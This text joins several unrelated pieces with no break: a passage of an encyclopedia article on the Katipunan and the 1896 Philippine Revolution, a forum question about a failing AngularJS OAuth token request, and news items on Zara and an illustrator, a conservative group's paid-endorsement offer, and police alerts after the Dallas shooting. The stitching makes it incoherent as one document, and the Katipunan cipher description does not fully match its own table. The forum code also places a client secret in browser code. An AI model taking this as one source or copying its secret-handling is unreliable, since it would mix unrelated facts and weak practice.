abakada ng̃ wikang kastilà. Rough translation: 30. What is the language used by the members of the Katipunan? Tagalog; however, the meanings of some letters from the Spanish alphabet have been changed. The letter "a" becomes "z", "c" and "q" become "k", the letter "i" is "n", the letters "l" and "ll" are "j" letter "m" is "v", letter "n" is "ll", letter "o" is "c" and letter "u" is "x". The letters f, j, v, x and z are not needed, and unused. Presented below is the Katipunan alphabet, when compared to the Spanish alphabet. Abakada ng̃ kastilà (Spanish alphabet) A B C D E F G H I J K LL M N O P Q R S T U V W X Y Z Abakada ng̃ "Katipunan" ("Katipunan" alphabet) Z B K D Q H G F N L K J V LL C P K R S T X M W U Y - Preparation for the revolution [ edit ] Attempt to seek Rizal's support [ edit ] Flags of the Katipunan (Casa Real Shrine) The night when Governor-General Eulogio Despujol exiled Dr. José Rizal to Dapitan,[67] Katipunan was discovered. In a secret meeting of the Katipunan by a small creek named Bitukang Manok (later known as Parian Creek, now nearly extinct) near Pasig on May 4, 1896, Bonifacio and his councilors decided to seek the advice of Rizal regarding a decision to revolt.[68]:26–27 Bonifacio delegated Dr. Pío Valenzuela as the Katipunan's emissary to Dapitan.[68]:28 This was done in order to inform Rizal of Katipunan's plan to launch a revolution and, if possible, a war against Spain.[67] By the end of May 1896, Valenzuela had visited and interviewed Rizal in Dapitan.[68]:29 As cover, Valenzuela was accompanied by a blind man named Raymundo Máta, since Rizal is an ophthalmologist.[67][68]:28–29 Valenzuela arrived in Dapitan on June 21, 1896, where Rizal welcomed him. After supper, Valenzuela told him his real purpose and the necessity of securing Rizal's support.[69] According to Valenzuela, Rizal only answered, "Huwag, huwag! Iya'y makasasama sa bayang Pilipino!" (No, no! That will harm the Filipino nation!)[69] Rizal objected to Bonifacio's audacious plan to plunge the country into a bloody revolution. He believed it was premature for two reasons:[67] the people are not ready for a massive revolution; and arms and funds must first be collected before raising the cry of revolution. Because of this notion, Valenzuela made another proposal to Rizal: to rescue him. Rizal disapproved of this plan, because he had given his word of honor to the Spanish authorities, and he did not want to break it.[67] Instead, Rizal advised Valenzuela to persuade wealthy Filipinos, so that they can solicit funds, where he recommended an elite army officer name Antonio Luna to be Katipunan's war general, should a revolution break out.[70] According to Valenzuela's statement to the Spanish authorities, they almost quarreled over the matter and Valenzuela left the following day instead of staying for a month as originally planned.[71] When Valenzuela returned to Manila and informed the Katipunan of his failure to secure Rizal's sanction. Bonifacio, furious, warned Valenzuela not to tell anyone of Rizal's refusal to support the impending uprising. However, Valenzuela had already spread the word, so that much fund proposals to the society were canceled.[72] Despite Rizal's rejection, the Katipunan was already trying to address its arms supply problem and had taken steps to smuggle in weapons from abroad.[73] At his trial, Rizal denied that he knew Valenzuela, saying only that he met him first at Dapitan and that he considered him a good friend because of what Valenzuela showed to him and his appreciation of medical tools Valenzuela gave to him. He also said that this was the last time they met.[74] Attempt to solicit Japan's aid [ edit ] Despite Rizal's rejection of an armed revolution, Bonifacio continued to plan for an armed conflict with Spain. The Katipunan cast its eyes on Japan, which loomed then as the probable champion of Asian liberties against Western oppression at the time. In May 1896, after Valenzuela's visit to Rizal, a delegation of Katipunan members, headed by Jacinto and Bonifacio, conferred with a visiting Japanese naval officer and captain of a Japanese ship, named Kongo, and the Japanese consul at a Japanese bazaar in Manila.[75] The interpreter, a friend of Valenzuela, was José Moritaro Tagawa who was married to a Filipino woman of Bocaue, Bulacan.[73] After the usual exchange of courtesies, Jacinto submitted the Katipunan memorial for the Emperor of Japan in which the Filipinos prayed for Japanese aid in their projected revolution, "so that the light of liberty that illuminates Japan may also shed its rays over the Philippines."[76] It was with good reason that the Katipunan solicited Japan's aid and alliance. Japan had been friendly to the Filipinos since the Spanish colonial era. Many Filipinos who had fled from Spanish persecution had been welcomed there and given full protection of Japanese laws. Bonifacio tried to purchase arms and ammunition from Japan, but failed due to lack of funds and the uncovering of the Katipunan, José Dizon was part of the committee that the Katipunan formed to secure arms from Japan with the connivance of the Japanese ship captain. Three months later, however, the Katipunan was uncovered and Dizon was among the hundreds who were arrested for rebellion.[77] Discovery [ edit ] As the Katipunan was busy preparing for the revolt, various denunciations regarding its existence reached the Spanish authorities. On July 5, 1896, Manuél Sityar, a Spanish lieutenant of the Guardia Civíl stationed at Pasig, reported to Governor-General Ramón Blanco the mysterious activities of certain natives who had been gathering arms and recruiting men for some unknown purposes.[77] On August 13, 1896, Fr. Agustín Fernández, an Augustinian curate of San Pedro, Makati, wrote to Don Manuél Luengo, the civil governor (mayor) of Manila, denouncing anti-Spanish meetings in his parish.[77] The Katipunan was finally discovered by the Spanish authorities six days after Fr. Fernández's letter to Luengo. On early August 1896, Teodoro Patiño and Apolonio de la Cruz, both working for the Diario de Manila printing press (leading newspaper during those times) had undergone misunderstanding regarding wages.[78] Press foreman de la Cruz and typesetter Patiño fought over salary increase of two pesos. De la Cruz tried to blame Patiño for the loss of the printing supplies that were used for the printing of Kalayaan. In retaliation, Patiño revealed the secrets of the society to his sister, Honoria Patiño, an inmate nun at the Mandaluyong Orphanage. That afternoon, on August 19, 1896, Honoria grew shocked and very upset to the revelation. The mother portress of the Orphanage, Sor (Sister) Teresa de Jesus saw Honoria crying so she approached her. Honoria told everything she heard from her brother. At around 6:15 pm that day, Sor Teresa called Patiño and advised him to tell everything he knew about the Katipunan through confession to Fr. Mariano Gíl.[79] Controlled by his fear of Hell, Patiño went to Fr. Gíl, an Augustinian parish curate of the Tondo convent. Though he is willed to tell anything about the Katipunan, Patiño confessed that a lithographic stone was hidden in the press room of the Diario de Manila, which was used by the society for printing receipts. He also said that aside from the lithographic stone, there were also documents of membership (that uses member's blood for signing) hidden, together with a picture of Dr. José Rizal and several daggers that was made for the Katipunero-employees of the newspaper.[79] Alarmed by the stunning truth of existence of a secret society, Fr. Gíl, accompanied by local Spanish authorities, searched the printing office of Diario de Manila and found the incriminating evidence.[79] They also found de la Cruz in possession of a dagger used in Katipunan initiation rites and some list of new accepted members.[80] After the arrest, Fr. Gíl rushed to Governor-General Blanco to denounce the revolutionary plot of the Katipunan.[81] The Spanish unleashed a crackdown and arrested dozens of people, where many innocent citizens were forced to go to Fort Santiago.[70] Patiño's alleged betrayal has become the standard version of how the revolution broke out in 1896. In the 1920s, however, the Philippine National Library commissioned a group of former Katipuneros to confirm the truth of the story. José Turiano Santiago, Bonifacio's close friend who was expelled in 1895, denied the story. He claimed that Bonifacio himself ordered Patiño to divulge the society's existence to hasten the Philippine revolution and preempt any objection from members.[82] Historian Teodoro Agoncillo gives a differing version of events, writing that Patiño revealed the secrets of the society to his sister, Honoria, following on a misunderstanding with de la Cruz, another society member who worked with him in the Spanish-owned Diario de Manila periodical. Honoria, an orphanage inmate, was upset at the news and informed Sor Teresa, the orphanage madre portera, who suggested that Patiño tell all to Fr. Gíl. On August 19, Patiño told Fr. Gíl what he knew of the secret society. Fr. Gíl and the owner of the Diario de Manila searched the printing shop, discovering the lithographic stone used to print Katipunan receipts. After this discovery, the locker of Policarpio Turla, whose signature appeared on the receipts, was forced open and found to contain a dagger, the rules of the society, and other pertinent documents. These were turned over to the Guardia Civíl, leading to the arrest and conviction on charges of illegal association and treason of some 500 prominent men.[83] In another version, the existence of the Katipunan became known to the authorities through Patiño, who revealed it to the general manager, La Font.[68]:29–31 Patiño was engaged in a bitter dispute over pay with de la Cruz and exposed the Katipunan to La Font, in retaliation.[68]:30–31 La Font led a Spanish police lieutenant to the shop and the desk of de la Cruz, where they "found Katipunan paraphernalia such as a rubber stamp, a little book, ledgers, membership oaths signed in blood, and a membership roster of the Maghiganti chapter of the Katipunan."[68]:31 Revolution [ edit ] When the Katipunan leaders learned of the arrests, Bonifacio called an assembly of all provincial councils to decide the start of the armed uprising. The meeting was held at the house of Apolonio Samson at a place called Kangkong in Balintawak. About 1,000 Katipuneros attended the meeting but they were not able to settle the issue. They met again at another place in Balintawak the following day. Historians are still debating whether this event took place at the yard of Melchora Aquino or at the house of her son Juan Ramos. The meeting took place either on August 23 or August 24.[68]:35 It was at this second meeting where the Katipuneros in attendance decided to start the armed uprising and they tore their cedulas (residence certificates and identity papers) as a sign of their commitment to the revolution. The Katipuneros also agreed to attack Manila on August 29.[68]:35 But Spanish civil guards discovered the meeting and the first battle occurred with the Battle of Pasong Tamo. While the Katipunan initially had the upper hand, the Spanish civil guards turned the fight around. Bonifacio and his men retreated toward Marikina via Balara (now in Quezon City). They then proceeded to San Mateo (in the province now called Rizal) and took the town. The Spanish, however, regained it three days later. After regrouping, the Katipuneros decided not to attack Manila directly but agreed to take the Spanish powder magazine and garrison at San Juan. Typical Katipunero bolo. On August 30, the Katipunan attacked the 100 Spanish soldiers defending the powder magazine in the Battle of San Juan del Monte or Battle of Pinaglabanan. About 153 Katipuneros were killed in the battle, but the Katipunan had to withdraw upon the arrival of Spanish reinforcements. More than 200 were taken prisoner. At about the same time, Katipuneros in other suburban Manila areas, like Caloocan, San Pedro de Tunasan (now Makati City), Pateros and Taguig, rose up in arms. In the afternoon of the same day, the Spanish Gov. Gen. Camilo de Polavieja declared martial law in Manila and the provinces of Cavite, Laguna, Batangas, Bulacan, Pampanga, Tarlac and Nueva Ecija. The Philippine Revolution had begun. In Bulacan, the Bulacan Revolutionary Movement were attacked by the strongest artillery forces ever converged in the capital town of Bulacan. This subsequently led to the Battle of San Rafael, where Gen. Anacleto Enriquez and his men were surrounded and attacked in the Church of San Rafael. The Battle of Kakarong de Sili [ edit ] Inang Filipina Shrine Panorama of the Park and the Shrine Facade Pandi, Bulacan played a vital and historical role in the fight for Philippine independence. Pandi is known for the Réal de Kakarong de Sili Shrine – Inang Filipina Shrine, the site of the bloodiest battle in Bulacan, where more than 3,000 Katipunero revolutionaries died. Likewise, it is on this site where the Republic of Réal de Kakarong de Sili of 1896, one of the first Philippine revolutionary republics, was established. It was in Kakarong de Sili—which about 6,000 Katipuneros from various towns of Bulacan headed by Brigadaier General Eusebio Roque, better known as "Maestrong Sebio" or "Dimabungo"[84] (See List of Filipino generals in the Philippine Revolution and the Philippine–American War) -- that the "Kakarong Republic" was organized shortly after the Cry of Pugad Lawin, referred to as "The Cry of Balintawak". Kakarong Republic [ edit ] History and researchers, as well as records of the National Historical Commission, tells that the "Kakarong Republic" was the first and truly organized revolutionary government established in the country to overthrow the Spaniards antedating event the famous Malolos Republic and the Biak-na-Bato Republic. In recognition thereof, these three "Republics" established in Bulacan have been incorporated in the seal of the province of Bulacan. According to available records including the biography of General Gregorio del Pilar entitled Life and Death of a Boy General written by Teodoro Kalaw, former director of the National Library of the Philippines, a fort was constructed at "Kakarong de Sili" that was like a miniature city. It had streets, an independent police force, a musical band, a factory of falconets, bolos and repair shops for rifles and cartridges. The 'Kakarong Republic' had a complete set of officials with Canuto Villanueva as Supreme Chief and 'Maestrong Sebio'—Eusebio Roque as Brigadaier General of the Army. The fort was attacked and totally destroyed on January 1, 1897 by a large Spanish force headed by the Commandant Olaguer-Feliu.[85] Del Pilar was only a lieutenant at the time and the Battle of Kakarong de Sili was his "baptism of fire." This was where he was first wounded and escaped to nearby barangay 'Manatal.' The Kakarong Lodge No. 168 of the 'Legionarios del Trabajo', named in memory of the 1,200 Katipuneros who perished in the battle, erected a monument named the Inang Filipina Shrine – (Mother Philippines Shrine) in 1924 in the barrio of Kakarong of Pandi, Bulacan. The actual site of the Battle of Kakarong de Sili is now a part of the barangay of Réal de Kakarong. No less than one of the greatest generals in the Philippines' history, General Emilio Aguinaldo who became first Philippine president visited this sacred ground in the late 1950s. Spanish response [ edit ] Even before the discovery of the Katipunan, Rizal applied for a position as doctor in the Spanish army in Cuba in a bid to persuade the Spanish authorities of his loyalty to Spain. His application was accepted and he arrived in Manila to board a ship for Spain in August 1896, shortly before the secret society was exposed. But while Rizal was en route to Spain, the Katipunan was unmasked and a telegram overtook the steamer at Port Said, recalling him to the Philippines to face charges that he was the mastermind of the uprising. He was later executed by musketry on December 30, 1896 at the field of Bagumbayan (now known as Luneta). While Rizal was being tried by a military court for treason, the prisoners taken in the Battle of Pinaglabanan—Sancho Valenzuela, Ramón Peralta, Modesto Sarmiento, and Eugenio Silvestre—were executed on September 6, 1896 at Bagumbayan. Six days later, they also executed the Thirteen Martyrs of Cavite at Fort San Felipe Fort in Cavite. The Spanish colonial authorities also pressed the prosecution of those who were arrested after the raid on the Diario de Manila printing press, where they found evidence incriminating not only common folk but also wealthy Filipino society leaders. The Bicol Martyrs were executed by firing squad on January 4, 1897 at Bagumbayan. They were Manuel Abella, Domingo Abella, priests Inocencio Herrera, Gabriel Prieto and Severino Díaz, Camio Jacob, Tomas Prieto, Florencio Lerma, Macario Valentin, Cornelio Mercado and Mariano Melgarejo. They arrested and seized the properties of prominent businessmen Francisco Róxas, Telesforo Chuidián and Jacinto Limjáp. While there may be circumstantial evidence pointing to Chuidián and Limjáp as financiers of the revolution, the record showed no evidence against Róxas except that he was involved in funding the Propaganda Movement. Even Mariano Ponce, another leader of the Propaganda Movement, said the arrest of Róxas was a "fatal mistake". Nonetheless, Róxas was found guilty of treason and shot on January 11, 1897 at Bagumbayan. Róxas was executed with Numeriano Adriáno, José Dizon, Domíngo Franco, Moisés Salvadór, Luis Enciso Villaréal, Braulio Rivera, Antonio Salazar, Ramón P. Padilla, Faustino Villaruél and Faustino Mañalac. Also executed with the group were Lt. Benedicto Nijaga and Corporal Gerónimo Cristóbal, both of the Spanish army.[86] On February 6, 1897, Apolonio de la Cruz, Román Bása, Teodoro Pláta, Vicente Molina, Hermenegildo de los Reyes, José Trinidad, Pedro Nicodemus, Feliciano del Rosario, Gervasio Samson and Doroteo Domínguez were also executed at Bagumbayan. But the executions, particularly Rizal's, only added fuel to the rebellion, with the Katipuneros shouting battle cries: "Mabuhay ang Katagalugan!" ("Long Live the Tagalog Nation!" -- Katagalugan (Tagalog Nation) being the Katipunan term for the Philippines) and "Mabuhay si Dr. José Rizal!" ("Long Live Dr. José Rizal!"). To the Katipuneros, Rizal was the honorary president of the Katipunan. Schism, transfer of authority and dissolution [ edit ] In the course of the revolution against Spain, a split developed between the Magdiwang faction (led by Gen. Mariano Álvarez) and the Magdalo faction (led by Gen. Baldomero Aguinaldo, cousin of General Emilio Aguinaldo), both situated in Cavite. At a convention in Tejeros, Cavite, the revolutionaries assembled to form a revolutionary government. There, on March 22, 1897, It was decided to dissolve the Katipunan and establish a republic.[2] Bonifacio lost his bid for the presidency of the revolutionary government to Emilio Aguinaldo, who was in Pasong Santol, fighting the Spanish forces and instead was elected Secretary of the Interior. When members of the Magdalo faction tried to discredit him as uneducated and unfit for the position, Bonifacio declared the results of the convention as null and void, speaking as the Supremo of the Katipunan. Despite this, Aguinaldo took his oath of office as president the next day in Santa Cruz de Malabon (present-day Tanza) in Cavite, as did the rest of the officers, except for Bonifacio.[87] Andrés Bonifacio and his brother Procopio were later arrested due to alleged incidents in Indang and, upon the orders of the Council of War and approved by Gen. Aguinaldo, they were both executed on May 10, 1897, at Mount Buntis in Maragondon, Cavite. He and his brother were buried in an unmarked grave. The Katipunan revolution led to the eventual establishment of the first Philippine Republic. The Philippine Republic, more commonly known as the First Philippine Republic or the Malolos Republic was a short-lived nascent revolutionary government in the Philippines. It was formally established with the proclamation of the Malolos Constitution on January 23, 1899 in Malolos, Bulacan, and endured until the capture of Emilio Aguinaldo by the American forces on March 23, 1901 in Palanan, Isabela, which effectively dissolved the First Republic. The United States eventually destroyed the First Philippine Republic in the Philippine–American War. Afterwards, the Americans exterminated any remaining vestige of the Katipunan.[89][not in citation given] See also [ edit ] References [ edit ] Notes and citations [ edit ]
I am getting a bad request from the api call i'm making and i have no idea why, been searching around for a long time now. the response i get from the call is : {"error":"invalid_request","error_description":"Missing input parameters"} So i'll list my code below, first my html form: <ion-view view-title="Login" id="login-page"> <ion-content id="login-page"> <h1 id="title">Welkom</h1> <img src="../img/logo.png" alt="logo" id="logo"> <form> <div class="list list-inset"> <label class="item item-input"> <input type="email" ng-model="email" name="email" placeholder="email"> </label> <label class="item item-input"> <input type="password" ng-model="password" name="password" placeholder="wachtwoord"> </label> </div> <button class="button button-block button-balanced" type="submit" id="form-btn" ng-click="login()">Log in</button> <button class="button button-block button-stable" type="submit" id="form-btn">Registreer</button> <button class="button button-block button-dark" type="submit" id="scan-btn">Scan</button> <a href="templates/browse.html">test</a> </form> </ion-content> </ion-view> then my service: angular.module('starter.services', []) .factory('loginFactory', function($http, $q){ return { login: function(email, password) { var deferred = $q.defer(); var data = { grant_type: 'password', username: email, password: password, client_id: 'GingerwaldUserApp15', client_secret: 'mySecretKey' }; var config = { headers: { 'Content-Type': 'application/json' }}; var url = "https://www.gingerwald.com/community/v2.1/authorization/oauth/token.php"; $http.post(url, data, config) .success(function(respons){ deferred.resolve(respons); }) .error(function(respons,status) { deferred.reject(respons); }) return deferred.promise; } } }) and last my controller: angular.module('starter.controllers', []) .controller('LoginCtrl', function($scope, $location, $localStorage, loginFactory) { $scope.login = function() { var email = $scope.email; var password = $scope.password; //test BAD REQUEST 400 console.log(email, password) loginFactory.login(email, password) .then(function(response){ console.log(response); $localStorage.token = response.access_token; $stage.go("app.browse") }, function(error) { $scope.email = ''; $scope.password = ''; } ) } }); my app.js is just the routing. so i'm trying to get a token, because i have to use this token in order to execute other api calls. this is the api info: <table> <tr> <th>description</th> <th>parameters</th> <th>response</th> </tr> <tr><td>To request an access token, based on the user's credentials (email and password). The returned access token has to be used in all other API calls in order to get authorization. The webservice needs to called with method "POST"</td> <td>'grant_type="password"</br> username=the user's email address</br> password=the user's password</br> client_id=the app's id</br> client_secret=the app's secret key</td> <td>The access token is a string of 64 characters. The access token also has an expiration time. The token can only be used until the expiration time has passed.</td></tr> </table> thank you
Tuesday Bassen, a 27-year-old illustrator from Los Angeles, has accused the Spanish clothing and accessories retailer Zara of "stealing" designs that also appear on Bassen's store ShopTuesday Bassen told BuzzFeed News she was initially made aware of the fact Zara's designs were similar to the ones she had created for her store "when hundreds of fans reached out to me privately to ask if I was working with them or if they were plagiarizing my work." She believes Zara "copied" four of her designs, and she has contacted the retailer regarding the similarities. Bassen has shared the response from Zara's lawyers with BuzzFeed News. In their reply, they write that there is a "lack of distinctiveness" in her designs, which "makes it very hard to see how a significant part of the population anywhere in the world would associate the [designs] with Tuesday Bassen." They go on to say that they are aware of "third party notifications" regarding the designs, but add: "such notifications amount to a handful of complaints only; when it is borne in mind that millions of users worldwide visit the respective websites monthly (Zara: 98,000.000 average monthly visits last year, Bershka: 150.000.000 average monthly visits last year), the figures clearly put those few notifications into perspective." Bassen said she plans to take further action against the firm, and said it was trying to "belittle" and "bully" her. She said the incident was going to have an "awful impact on the livelihood of an artist," and added that Zara was "diluting" her brand by "stealing" from her. A spokesperson for Zara's parent company, Inditex, told BuzzFeed News that the firm was recently contacted by Tuesday Bassen’s lawyers, who "noted the use of the illustrations in some badges sourced externally and on clothes in its Group stores." "Inditex respects any third party’s creativity and takes all claims concerning third party intellectual property rights very seriously," they continued. They added: "On receiving these allegations, the relevant items were immediately suspended from sale and an investigation opened. In parallel, Inditex's legal team also contacted Tuesday Bassen’s lawyers to clarify and resolve the situation. Inditex has more than 600 designers in house that create more than 50,000 designs a year, it has the highest respect towards each individual’s creativity and will investigate this specific case to its end."
Exclusive: Conservative group offers to sell endorsement for $2M The American Conservative Union asked FedEx for a check for $2 million to $3 million in return for the group’s endorsement in a bitter legislative dispute, then flipped and sided with UPS after FedEx refused to pay. For the $2 million+, ACU offered a range of services that included: "Producing op-eds and articles written by ACU’s Chairman David Keene and / or other members of the ACU’s board of directors. (Note that Mr. Keene writes a weekly column that appears in The Hill.)" The conservative group’s remarkable demand — black-and-white proof of the longtime Washington practice known as "pay for play" — was contained in a private letter to FedEx that was provided to POLITICO. The letter exposes the practice by some political interest groups of taking stands not for reasons of pure principle, as their members and supporters might assume, but also in part because a sponsor is paying big money. In the three-page letter asking for money on June 30, the conservative group backed FedEx. After FedEx says it rejected the offer, Keene signed onto a two-page July 15 letter backing UPS. Keene did not return a message left on his cell phone. Read more: http://www.politico.com/...
In the wake of the Dallas sniper attack that killed five police officers, police departments in the Bay Area and beyond are on heightened alert, pairing up officers as a safety measure and revisiting the stark realities of their duties. The moves come as tensions between law enforcement and communities of color were already ratcheted up after two high-profile killings earlier this week — one in Louisiana and one in Minnesota — but shootings of officers added a new level of tension. The Dallas shooting reportedly came at the hands of Army reservist Micah Johnson. Johnson, who was black, reportedly said before he was killed by authorities that he was upset about the fatal shootings of Alton Sterling in Baton Rouge, Louisiana, and Philando Castile in Falcon Heights, Minnesota, and wanted to kill white people and white police officers. San Jose police Chief Eddie Garcia said the risk of serious injury or death is always in the back of the minds of his officers, and that Thursday’s events bring it into focus. “I can’t imagine not being fearful about what happened in Dallas,” he said. “Our officers are human beings.” Hours after the Thursday night violence in Dallas, San Jose and Oakland police ordered that patrol units be staffed with two officers. San Francisco police said they already paired officers for night and swing shifts. Similar orders were given out in New York City, Chicago, Boston, Philadelphia and other major cities. The fear that spurred the pairings was realized in at least two instances: Officers in Georgia and Missouri were shot and wounded Friday in what authorities described as ambush attacks. The Georgia instance involved a man authorities said called 911 to report a break-in, then blindsided the officer who came to investigate. That sparked a shootout in which both the officer and suspect were wounded. Both are expected to survive. In suburban St. Louis, a motorist shot an officer at least once as the officer walked back to his car during a traffic stop, police said. The officer was hospitalized in critical condition. San Jose experienced a brief scare Friday morning when someone reported a suspicious package in front of City Hall, a box that sported a sticker with the message “Kill Cops” on it. Police quickly cleared the scene after determining that the box belonged to a contractor and was covering up exposed wiring and that an unknown person put the sticker on it. It made for tense moments before it was all sorted out, Officer Albert Morales said. “It raises the hairs on the back of your neck,” he said. “Anytime you get a call about a suspicious package, in light of recent events, we’re all on alert.” It has also stoked some open resentment. Contra Costa County Sheriff David Livingston, in a staff memo announcing his agency was also going to mandate two-deputy responses to service calls, tacitly criticized President Barack Obama for his incisive public comments after the Minnesota and Louisiana police shootings. “This is a sad day in our country’s history. Unfortunately we are in an environment where we have little support from our federal executive officials who are quick to criticize the police without knowing all of the facts. As such, we must protect our own,” Livingston wrote. Police in San Jose have found the slayings of the Dallas officers particularly resonant given that just over two weeks ago, they laid to rest Officer Michael Katherman, who was killed June 14 in a traffic collision while on duty. That came a year after Officer Michael Johnson was slain while responding to a 911 call involving a suicidal man, who fatally shot Johnson in a sniper-style ambush on Senter Road. Like his counterparts in Los Angeles, which just graduated its latest police academy, Garcia, the San Jose chief, found himself in front of his own stable of cadets Friday to reassure and relay the realities of the life they are entering. “As officers, we know that it’s a dangerous job. There’s no way around it,” Garcia said. “This fear always exists. All last night did was amplify it.” Staff writers David DeBolt, Malaika Fraley and Harry Harris and The Associated Press contributed to this report.